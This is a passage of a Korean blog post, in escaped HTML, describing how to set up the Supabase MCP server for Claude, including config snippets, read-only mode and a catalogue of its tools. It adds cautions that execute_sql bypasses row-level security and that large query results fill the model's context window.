#9cdcfe;&quot;&gt;&quot;url&quot;&lt;/span&gt;: &lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;https://mcp.supabase.com/mcp?project_ref=${SUPABASE_PROJECT_REF}&quot;&lt;/span&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;&quot;headers&quot;&lt;/span&gt;: {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;&quot;Authorization&quot;&lt;/span&gt;: &lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;Bearer ${SUPABASE_ACCESS_TOKEN}&quot;&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;}&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;방법 4: Claude Desktop 설정&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Desktop(GUI 앱)에서 Settings &amp;rarr; Connectors &amp;rarr; Add custom connector로 추가한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Name:&lt;/b&gt; Supabase&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;URL:&lt;/b&gt; https://mcp.supabase.com/mcp&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Authentication:&lt;/b&gt; OAuth (브라우저 자동 처리)&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Read-only 모드 설정&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;데이터 조회만 허용하고 스키마 변경은 막고 싶을 때 사용한다. 프로덕션 DB 연결 시 강력히 권장한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; border: 1px solid #333; margin: 15px 0; overflow-x: auto;&quot;&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;&quot;mcpServers&quot;&lt;/span&gt;: {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;&quot;supabase&quot;&lt;/span&gt;: {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;&quot;type&quot;&lt;/span&gt;: &lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;http&quot;&lt;/span&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;&quot;url&quot;&lt;/span&gt;: &lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;https://mcp.supabase.com/mcp?project_ref=xxx&amp;amp;read_only=true&quot;&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;}&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 주요 기능(Tools) 소개&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Supabase MCP는 8개 그룹, 30개 넘는 tool이 있다. 그룹 단위로 켜고 끌 수 있는데, Storage 그룹만 기본 꺼져 있고 나머지는 다 켜져 있다. (출처: &lt;a href=&quot;https://supabase.com/docs/guides/getting-started/mcp&quot;&gt;Supabase 공식 MCP 문서&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;실제로 써보면 제일 많이 쓰게 되는 Tool 3개&lt;/b&gt;&lt;br /&gt;
&lt;ol style=&quot;margin: 8px 0 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;code style=&quot;background: #e0f0e0; padding: 2px 6px; border-radius: 4px;&quot;&gt;execute_sql&lt;/code&gt; &amp;mdash; SELECT&amp;middot;INSERT&amp;middot;UPDATE&amp;middot;DELETE 등 DML 작업은 거의 다 여기로 온다. &quot;어떤 데이터 보여줘&quot;라고 하면 결국 이 tool이 호출된다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;code style=&quot;background: #e0f0e0; padding: 2px 6px; border-radius: 4px;&quot;&gt;apply_migration&lt;/code&gt; &amp;mdash; 테이블 생성&amp;middot;수정&amp;middot;인덱스 추가 같은 DDL 변경을 마이그레이션 이력으로 남기면서 적용해준다. 스키마 작업할 때 핵심.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;code style=&quot;background: #e0f0e0; padding: 2px 6px; border-radius: 4px;&quot;&gt;list_tables&lt;/code&gt; &amp;mdash; 현재 스키마가 어떻게 생겼는지 파악하는 출발점. Claude가 SQL을 제대로 짜려면 먼저 이걸 호출해서 테이블 구조를 봐야 한다.&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;데이터베이스 (Database)&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px 14px; text-align: left; border: 1px solid #cce5ff; color: #1a3a52;&quot;&gt;Tool 이름&lt;/th&gt;
&lt;th style=&quot;padding: 10px 14px; text-align: left; border: 1px solid #cce5ff; color: #1a3a52;&quot;&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;list_tables&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;지정한 스키마의 테이블 목록을 조회한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;list_extensions&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;데이터베이스에 설치된 PostgreSQL 확장 목록을 조회한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;list_migrations&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;적용된 마이그레이션 이력을 조회한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;apply_migration&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;DDL SQL(CREATE TABLE, ALTER TABLE 등 스키마 변경)을 마이그레이션으로 적용한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;execute_sql&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;일반 SQL 쿼리(SELECT, INSERT, UPDATE, DELETE)를 실행한다. 스키마를 변경하지 않는 작업에 사용한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;apply_migration vs execute_sql 구분&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 8px 0 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;b&gt;apply_migration:&lt;/b&gt; CREATE TABLE, ALTER TABLE, CREATE INDEX 등 DDL &amp;mdash; 마이그레이션 이력에 기록됨&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;b&gt;execute_sql:&lt;/b&gt; SELECT, INSERT, UPDATE, DELETE 등 DML &amp;mdash; 이력에 기록되지 않음&lt;/li&gt;
&lt;/ul&gt;
&lt;b&gt;read_only 모드에서 비활성화되는 tool 목록:&lt;/b&gt; apply_migration, create_project, pause_project, restore_project, deploy_edge_function, create_branch, delete_branch, merge_branch, reset_branch, rebase_branch, update_storage_config. execute_sql은 read-only Postgres 사용자로 실행되어 SELECT만 허용된다.&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;RLS(Row Level Security) 주의사항&lt;/b&gt;&lt;br /&gt;Supabase MCP의 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;execute_sql&lt;/code&gt;은 &lt;b&gt;RLS가 적용되지 않는 관리자 수준 권한으로 실행&lt;/b&gt;된다. 테이블에 RLS를 아무리 꼼꼼하게 걸어놔도 MCP로 쿼리하면 모든 행이 다 보인다. Supabase 공식 문서는 &lt;b&gt;프로덕션 DB에 MCP를 연결하지 말 것&lt;/b&gt;을 1순위로 권고한다. 부득이하게 실제 데이터에 접근해야 하는 경우에만 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;read_only=true&lt;/code&gt;를 차선책으로 사용해야 한다. 개발이나 분석용 관리자 접근에는 편하지만, 사용자별 데이터 격리가 필요하다면 Supabase 클라이언트를 직접 쓰는 게 안전하다.&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;execute_sql 토큰 먹는 하마 주의&lt;/b&gt;&lt;br /&gt;MCP의 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;execute_sql&lt;/code&gt; 결과는 &lt;b&gt;전부 LLM의 context window에 들어간다&lt;/b&gt;. 수천 행짜리 결과를 몇 번 반복하면 토큰이 순식간에 날아가서 대화가 엉뚱해지거나 context 한도에 걸린다. 실제로 써보면서 느낀 건데, 이게 생각보다 빨리 찬다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;이렇게 쓰는 게 좋다:&lt;/b&gt;
&lt;ol style=&quot;margin: 8px 0 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;LIMIT 꼭 붙이기:&lt;/b&gt; &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;LIMIT&lt;/code&gt; 없이 쿼리 날리면 전체 행이 context에 들어간다. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;SELECT * FROM users LIMIT 20&lt;/code&gt; 이런 식으로 습관 들이자.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;집계 쿼리 쓰기:&lt;/b&gt; 전체를 끌어오지 말고 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;COUNT&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;AVG&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;GROUP BY&lt;/code&gt; 같은 집계 함수로 요약본만 받자. &quot;사용자 몇 명이야?&quot;는 Claude가 알아서 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;SELECT count(*)&lt;/code&gt;를 쓰긴 하는데, 대량 데이터일 때는 직접 명시해주는 게 안전하다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;대량 작업은 CLI + psql로:&lt;/b&gt; 수만 건 이상 export하거나 bulk 처리해야 하면, MCP로 하지 말고 직접 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;psql&lt;/code&gt;이나 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;supabase db dump&lt;/code&gt;를 쓰는 게 낫다.&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;디버깅 (Debugging)&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px 14px; text-align: left; border: 1px solid #cce5ff; color: #1a3a52;&quot;&gt;Tool 이름&lt;/th&gt;
&lt;th style=&quot;padding: 10px 14px; text-align: left; border: 1px solid #dee2e6; color: #1a3a52;&quot;&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;get_logs&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;프로젝트 로그를 가져온다. API, 데이터베이스, Edge Functions 로그 등을 조회할 수 있다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;get_advisors&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;데이터베이스 성능 및 보안 개선 권고사항을 가져온다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;개발 도우미 (Development)&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px 14px; text-align: left; border: 1px solid #cce5ff; color: #1a3a52;&quot;&gt;Tool 이름&lt;/th&gt;
&lt;th style=&quot;padding: 10px 14px; text-align: left; border: 1px solid #dee2e6; color: #1a3a52;&quot;&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;get_project_url&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;프로젝트의 API URL을 가져온다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;get_publishable_keys&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;프론트엔드에서 사용하는 anon key 등 공개 키를 가져온다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;generate_typescript_types&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;현재 데이터베이스 스키마를 기반으로 TypeScript 타입을 자동 생성한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Edge Functions&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px 14px; text-align: left; border: 1px solid #cce5ff; color: #1a3a52;&quot;&gt;Tool 이름&lt;/th&gt;
&lt;th style=&quot;padding: 10px 14px; text-align: left; border: 1px solid #dee2e6; color: #1a3a52;&quot;&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;list_edge_functions&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;배포된 Edge Functions 목록을 조회한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;get_edge_function&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;특정 Edge Function의 상세 정보를 가져온다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;deploy_edge_function&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;Edge Function을 배포한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;계정 및 프로젝트 관리&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px 14px; text-align: left; border: 1px solid #cce5ff; color: #1a3a52;&quot;&gt;Tool 이름&lt;/th&gt;
&lt;th style=&quot;padding: 10px 14px; text-align: left; border: 1px solid #dee2e6; color: #1a3a52;&quot;&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;list_projects&lt;/code&gt; / &lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;get_project&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;Supabase 프로젝트 목록 및 상세 정보를 조회한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;create_project&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;새 Supabase 프로젝트를 생성한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;pause_project&lt;/code&gt; / &lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;restore_project&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;프로젝트를 일시 중지하거나 복원한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;list_organizations&lt;/code&gt; / &lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;get_organization&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;Supabase 조직 목록 및 정보를 조회한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;get_cost&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;프로젝트 또는 조직의 현재 비용 정보를 조회한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;confirm_cost&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;비용이 발생하는 작업(프로젝트 생성 등) 전에 예상 비용을 확인하고 승인한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;search_docs&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;Supabase 공식 문서를 검색한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;브랜치 관리 (Branching &amp;mdash; 실험적)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Supabase의 Preview Branch 기능과 연동된다. 아직 실험적 기능이므로 프로덕션 환경에서는 주의해서 사용한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 15px; border-radius: 8px; margin: 15px 0; border: 1px solid #e9ecef;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;create_branch&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;list_branches&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;delete_branch&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;merge_branch&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;reset_branch&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;rebase_branch&lt;/code&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;스토리지 (Storage &amp;mdash; 기본 비활성화)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Storage 그룹은 기본적으로 비활성화되어 있다. 필요한 경우 명시적으로 활성화해야 한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 15px; border-radius: 8px; margin: 15px 0; border: 1px solid #e9ecef;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;list_storage_buckets&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;get_storage_config&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;update_storage_config&lt;/code&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
